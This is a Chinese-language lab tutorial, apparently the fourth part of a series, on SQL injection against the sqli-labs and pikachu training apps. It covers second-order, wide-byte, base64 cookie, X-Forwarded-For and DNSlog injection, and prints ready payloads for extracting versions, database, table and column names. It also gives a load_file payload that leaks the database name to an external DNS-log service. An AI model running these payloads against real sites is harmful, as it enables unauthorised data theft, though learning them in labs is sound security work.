SQL注入(四)

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
简介: SQL注入

二次注入

查看数据库的用户名密码

进入靶场演示二次注入 sqlib-24

640.png

首先使用admin/admin用户登录

登录成功会提示更改密码,退出登录重新创建一个用户

用户名admin‘# 密码123


成功注册 后台查看

然后使用 admin’# 用户登录进来 修改密码

返回数据库查看

登录admin‘# 修改密码 反而admin的密码改变了

注册新用户过程中的处理代码:

    if (isset($_POST['submit']))
    {
    # Validating the user input........
      //$username=  $_POST['username'] ;
      $username=  mysql_escape_string($_POST['username']) ;
      $pass= mysql_escape_string($_POST['password']);
      $re_pass= mysql_escape_string($_POST['re_password']);
      echo "<font size='3' color='#FFFF00'>";
      $sql = "select count(*) from users where username='$username'";
      $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_fetch_row($res);
      //print_r($row);
      if (!$row[0]== 0) 
        {
        ?>
        <script>alert("The username Already exists, Please choose a different username ")</script>;
        <?php
        header('refresh:1, url=new_user.php');
           } 
        else 
        {
               if ($pass==$re_pass)
          {
            # Building up the query.......
               $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
               mysql_query($sql) or die('Error Creating your user account,  : '.mysql_error());
              echo "</br>";
              echo "<center><img src=../images/Less-24-user-created.jpg><font size='3' color='#FFFF00'>";           
              //echo "<h1>User Created Successfully</h1>";

    可以看到传入的usernamepasswordre_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin'# 这是因为当数据写入到数据库的时候反斜杠会被移除,所以写入到数据库的内容就是原始数据,并不会在前面多了反斜杠。

      $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

      这是因为上面的数据库更新语句,在用户名为 "admin'#" 时执行的实际是:

        $sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

        因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

        宽字节注入

        什么叫宽字节注入

          【MySQL是用的PHP语言,然后PHP有addslashes()等函数,这类函数会自动过滤 ' '' null 等这些敏感字符,将它们转义成' '' \null;然后宽字节字符集比如GBK它会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸。】

          宽字节的注入条件

          数据库编码设置成GB系列
          使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。

          URL转码
          空格   %20
          '      %27
          #      %23
          \      %5C

          pakachu 测试


          1%df' or 1   通过php转码  mysql转码 得到一个汉字' 从而达到过滤的效果
          %df'  =====>php(check_addsiashes)  ======>%df%5C%27  ======>MySQL(GBK) ======> 運'

          查看字段数

          输入3 sql语句报错 输入2用户不存在 所以为两个字段数

          查看使用的用户名 数据库

          base64注入

          在base64注入页面中,程序获取GET参数ID,利用base64_decode ()对参数ID进行base64解码

            if(!isset($_POST['submit']))
                 {
                  $cookee = $_COOKIE['uname'];
                  $format = 'D d M Y - H:i:s';
                  $timestamp = time() + 3600;
                  echo "<center>";
                  echo "<br><br><br><b>";
                  echo '<img src="../images/Less-21.jpg" />';
                  echo "<br><br><b>";
                  echo '<br><font color= "red" font size="4">';  
                  echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
                  echo "</font><br>";  
                  echo '<font color= "cyan" font size="4">';  
                  echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];      
                  echo "</font><br>";      
                  echo '<font color= "#FFFF00" font size = 4 >';
                  echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
                  echo '<font color= "orange" font size = 5 >';      
                  echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
                  $cookee = base64_decode($cookee);
                  echo "<br></font>";
                  $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
                  $result=mysql_query($sql);
                  if (!$result)
                      {
                      die('Issue with your mysql: ' . mysql_error());
                      }
                  $row = mysql_fetch_array($result);

            注入请求

            cookie 那段后面的数据 进行加密了 base64

            正常测试 admin' and 1=1 admin' and 1=2 union select 1,2 等等 只不过把这些明文加密 php通过uname变量去获取加密数据

              GET /sqli/Less-21/index.php HTTP/1.1
              Host: 127.0.0.1
              User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
              Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
              Accept-Language: zh-CN,en;q=0.8,zh;q=0.5,en-US;q=0.3
              Accept-Encoding: gzip, deflate
              Referer: http://127.0.0.1/sqli/Less-21/
              Cookie: uname=YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLCh2ZXJzaW9uKCkpKSwwKSBvciAn
              DNT: 1
              Connection: close
              Upgrade-Insecure-Requests: 1

              获取数据库版本信息

              payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(version())),0) or '

              640.png获取数据库名

              payload: Cookie: uname=admin' or updatexml(1,concat(0x7e,(database())),0) or '

              640.pngXFF注入

              X-Forwarded-For简称XFF头,它代表了客户端的真实IP,通过修改他的值就可以伪造客户端IP。

              HTTP请求头的头部参数X-Forwarded-for缺失,通过修改X-Forwarded-for的值可以伪造客户端IP,于是自己设置一个该参数,将X- Forwarded-For设置为127.0.0.1,然后访问该URL,页面返回正常,如图所示

              当 X-Forwarded-For:127.0.0.1'


                设置payload: X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select user()) ,0x7e),1)) #
                获取库名:X-Forwarded-For:127.0.0.1',updatexml(1,concat(0x7e,(select database()) ,0x7e),1)) #
                获取表名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='webcalendar' limit 0,1),0x7e),1))#
                获取字段名:X-Forwarded-For:127.0.0.1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='webcalendar' and table_name='user' limit 0,1),0x7e),1))#

                DNSlog注入

                dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据

                dns带外查询属于MySQL注入,在MySQL中有个系统属性

                secure_file_priv特性,有三种状态

                  1. secure_file_priv为null  表示不允许导入导出
                  2. secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
                  3. secure_file_priv没有设置时,则表示没有任何限制

                  可了解一下load_file和outfile

                  LOAD_FILE()函数
                  LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
                  语法为:load_file(file_name),其中file_name是文件的完整路径
                  此函数使用需要满足的条件

                    文件必须位于服务器主机上
                    你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
                    文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节

                    UNC路径

                      什么是UNC路径?
                      UNC路径就是类似\\softer这样的形式的网络路径。它符合 \\servername\sharename 格式,其中 servername 是服务器名,sharename 是共享资源的名称。
                      目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename。
                      例如把自己电脑的文件共享,你会获得如下路径,这就是UNC路径
                      //iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

                      DNSLOG 平台  http://ceye.io

                      自己注册 我就不教了

                      在mysql.ini 配置文件添加 securefilepriv =

                      保存然后重启mysql服务就可以看到了

                        payload: http://127.0.0.1/sqli/Less-2/?id=-1 and if((select load_file(concat('\\\\',(select database()),'.mvkn4u.ceye.io\\abc'))),1,0)--+

                        这样操作比较麻烦,github上有一款工具 基于python2编写 我就不示范了 ( 懒得装2.7的环境)

                        https://github.com/ADOOO/DnslogSqlinj

                        ok 至此 SQL注入的n多方式差不多就结束了,明天是SQL注入绕过waf的讲解。

                        相关实践学习
                        如何快速连接云数据库RDS MySQL
                        本场景介绍如何通过阿里云数据管理服务DMS快速连接云数据库RDS MySQL,然后进行数据表的CRUD操作。
                        全面了解阿里云能为你做什么
                        阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
                        相关文章
                        |
                        2月前
                        |
                        SQL 安全 前端开发
                        Web学习_SQL注入_联合查询注入
                        联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
                        65 2
                        |
                        4月前
                        |
                        SQL 安全 数据库
                        惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
                        在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
                        147 5
                        |
                        4月前
                        |
                        SQL 安全 数据库
                        深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
                        在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
                        89 5
                        |
                        4月前
                        |
                        SQL 安全 数据安全/隐私保护
                        Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
                        在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
                        138 1
                        |
                        4月前
                        |
                        SQL 安全 数据库
                        Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
                        在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
                        67 1
                        |
                        4月前
                        |
                        SQL 安全 数据库
                        深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
                        在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
                        61 3
                        |
                        4月前
                        |
                        SQL 安全 数据库
                        从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
                        【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
                        104 6
                        |
                        4月前
                        |
                        SQL 安全 JavaScript
                        告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
                        【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
                        75 5
                        |
                        6月前
                        |
                        SQL 安全 数据库
                        Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
                        【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
                        101 1
                        Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!